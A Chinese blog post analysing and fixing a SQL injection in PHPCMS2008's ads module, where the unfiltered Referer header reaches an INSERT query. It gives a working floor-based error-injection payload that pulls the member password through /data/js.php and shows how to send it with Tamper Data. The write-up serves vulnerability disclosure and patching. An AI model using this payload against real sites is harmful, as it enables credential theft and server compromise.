PHPCMS2008广告模板SQL注入漏洞修复

php  /  管理员 发布于 7年前   170

00 漏洞描述

PHPCMS2008由于广告模块取referer不严，导致一处sql注入漏洞.可以得到管理员用户名与密码，攻击者登录后台后可能会获取webshell，对服务器进行进一步的渗透。

01 漏洞分析

漏洞产生的位置：

/ads/include/ads_place.class.php的show方法中.

function show($placeid)...if($adses[0]['option']){foreach($adses as $ads){$contents[] = ads_content($ads, 1);$this->db->query(“INSERT INTO$this->stat_table(`adsid`,`username`,`ip`,`referer`,`clicktime`,`type`)VALUES (‘$ads[adsid]','$_username','$ip',‘$this->referrer',‘$time',,'0')”);$template = $ads['template'] ? $ads['template'] : 'ads';}}...

sql语句中

$this->db->query(“INSERT INTO$this->stat_table(`adsid`,`username`,`ip`,`referer`,`clicktime`,`type`)VALUES (‘$ads[adsid]','$_username','$ip',‘$this->referrer',‘$time',,'0')”);

这里$this->referrer通过this方法直接将HTTP请求头中的referer字段插入到数据库中,没有做任何过滤措施。(这个this方法是PHPCMS里面直接封装的)。

所以现在已经找到漏洞点，下一步就是找包含漏洞的用户可控的页面。如果漏洞是用户不可控的，比如只能管理员利用，那就相当的鸡肋了。

这里使用回溯的方法，看看哪些页面调用了它。

页面/ads/include/commom.inc.php

在往上看看谁调用了/ads/include/commom.inc.php

/ads/ad.php文件中

ad.php文件为用户可控文件，但ad.php有时不能访问，继续向上查找/data/js.php

在用户访问首页时，会调用js.php，通过该文件可以提交有害字段，然后通过逐层调用，传入字段referer到危险方法show，引入SQL注入攻击。

02 漏洞利用

修改请求头中的referer字段的话有很多种，比如burpsuite，Tamper Data…

这里直接使用火狐的Tamper Data进行修改：

点击Start Tamper,然后访问http://your-addr/data/js.php?id=1

这时候Tamper Data会跳出来,在右边框内，点击右键，添加一个element值填写payload

referer=1', (SELECT 1 FROM (select count(*), concat(floor(rand(0)*2),char(45,45,45),(SELECT password from phpcms_member limit 1))a from information_schema.tables group by a)b), ‘0')#

这里我解释一下：因为漏洞的sql语句是INSERT是不回显的，所以可以使用盲注，这里的payload使用的floor报错注入。floor报错注入原理请参考：floor函数用法

把这个payload带入sql语句中是：

$this->db->query(“INSERT INTO$this->stat_table(`adsid`,`username`,`ip`,`referer`,`clicktime`,`type`)VALUES (‘$ads[adsid]','$_username','$ip',‘1',‘$time',(SELECT 1 FROM (select count(*), concat(floor(rand(0)*2),char(45,45,45),(SELECT password from phpcms_member limit 1))a from information_schema.tables group by a)b), ‘0')#,'0')”);

03 漏洞修复

对相关字段进行过滤处理。

$referer = safe_replace($this->referer);$this->db->query("INSERT INTO $this->stat_table (`adsid`, `username`, `ip`, `referer`, `clicktime`, `type`) VALUES ('$ads[adsid]', '$_username', '$ip', '$referer', '$time', '0')");$template = $ads['template'] ? $ads['template'] : 'ads';

这里safe_replace是PHPCMS2008封装的过滤函数。

以上所述是小编给大家介绍的PHPCMS2008广告模板SQL注入漏洞，希望对大家有所帮助，如果大家有任何疑问请给我留言，小编会及时回复大家的。在此也非常感谢大家对站的支持！

您可能感兴趣的文章:

• 使用PHPCMS搭建wap手机网站
• phpcms模块开发之swfupload的使用介绍
• linux服务器下PHPCMS v9 安全配置详解
• php笔记之：初探PHPcms模块开发介绍
• PHPCMS的使用小结
• CodeIgniter使用phpcms模板引擎
• phpcms的分类名称和类别名称的调用
• phpcms手机内容页面添加上一篇和下一篇
• PHPCMS手机站伪静态设置详细教程
• PHPCMS忘记后台密码的解决办法
• 解决phpcms更换javascript的幻灯片代码调用图片问题
• phpcms中的评论样式修改方法
• PHPCMS V9 添加二级导航的思路详解
• 如何给phpcms v9增加类似于phpcms 2008中的关键词表
• PHPCMS遭遇会员投稿审核无效的解决方法
• Ajax实现phpcms 点赞功能实例代码
• phpcms配置列表页以及获得文章发布时间
• phpcms v9禁止提交信息到官网方法详解